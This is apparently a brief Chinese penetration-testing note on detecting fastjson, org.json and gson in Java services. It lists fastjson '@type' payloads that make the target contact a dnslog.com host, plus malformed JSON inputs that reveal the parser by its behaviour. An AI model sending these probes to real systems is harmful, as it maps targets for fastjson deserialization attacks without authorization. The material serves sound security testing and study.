判断是否用了fastjson:
通过DNS日志来查找是否使用fastjson
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
根据解析变化
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}
根据响应状态
{"@type":"whatever"}
鉴别org.json:
特殊字符:
{a:'\r'}
鉴别gson
浮点类型精度丢失
{a:1.111111111111111111111111111}
注释符
#\r\n{a:1}